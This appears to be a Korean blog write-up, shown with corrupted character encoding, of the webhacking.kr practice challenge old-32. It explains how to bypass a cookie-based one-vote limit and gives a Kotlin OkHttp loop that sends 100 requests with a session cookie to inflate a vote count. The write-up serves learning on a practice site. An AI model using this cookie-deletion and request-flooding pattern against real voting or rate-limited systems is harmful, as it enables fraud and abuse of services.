Webhacking.kr :: old-32๋ฒ
์ ๋ง ๊ท์ฌ์ด ๋ฌธ์ ๋ค.
์ผ๋จ ๋ค์ด๊ฐ๋ฉด ์ ์ ๋ค๊ณผ vote ๊ฐ ์๋๋ฐ ์ด๋ฆ์ ๋๋ฅด๋ฉด vote ๋๊ณ , ๊ทธ ์ฌ๋์ vote ์๊ฐ ๋์ด๋๋ค.
๊ทผ๋ฐ ํ ๋ฒ vote ํ๋ฉด you already voted ๊ฐ ๋จ๋ฉด์ vote ๊ฐ ์๋๋ค.
cookie ๋ฅผ ์ดํด๋ณด๋, ์ญ์๋ vote_check ๋ผ๋ cookie ๊ฐ ์์์ ์ ์ ์๋ค.
๊ทธ๋์ ์ด๊ฑธ ์ญ์ ํด์ฃผ๋ฉด ๋ค์ vote ํ ์ ์๋ค.
๊ทธ๋ฌ๋.. ์์ ์ ์์ด๋๋ฅผ ์ฐพ์์ ๊ทธ๊ฑธ 100 ๊น์ง ์ฌ๋ฆฌ๋ฉด ๋๋ค. ใ
๊ทผ๋ฐ ์ฟ ํค ์ญ์ -> vote ๋ฅผ 100๋ฒ ๋ฐ๋ณตํ์๋ ๋๋ฌด ๊ท์ฐฎ์์ ์ฝ๋๋ฅผ ์ง๊ธฐ๋ก ํ๋ค.
cookie ์ ํจ๊ป GET Request ๋ฅผ ๋ณด๋ด๋ ๋ฐฉ๋ฒ์ stackoverflow ์์ ์ฐธ๊ณ ํด์ ์์ฑํ์๋ค.
(stackoverflow.com/questions/35743291/add-cookie-to-client-request-okhttp)
(์์ฑ ์ธ์ด๋ kotlin)
fun simpleReq(){
val url : String = "https://webhacking.kr/challenge/code-5/?hit=MY_ID"
val cookieName = "PHPSESSID"
val cookieValue = MY_COOKIE_VALUE
for(i in 1..100){
try {
var cookieHelper : OkHttp3CookieHelper = OkHttp3CookieHelper()
cookieHelper.setCookie(url, cookieName, cookieValue)
val client = OkHttpClient.Builder().cookieJar(cookieHelper.cookieJar()).build()
val request = Request.Builder().url(url).build()
val response = client.newCall(request).execute()
println("successful:: ${response.isSuccessful}")
}catch (e: Exception){
e.printStackTrace()
}
}
}
์ด ์ฝ๋๋ฅผ ์คํ์ํค๊ณ ๋ฌธ์ ํ์ด์ง๋ฅผ ์๋ก ๊ณ ์นจํ๋๊น vote ์๊ฐ ๋ง๊ตฌ๋ง๊ตฌ ์ฌ๋ผ๊ฐ๋ค ใ
๊ทธ๋ฆฌ๊ณ ๋ค ๋๋๊ณ ์๋ก๊ณ ์นจํ๋๊น
๊ฐ ๋ณ๋ค~ ๋!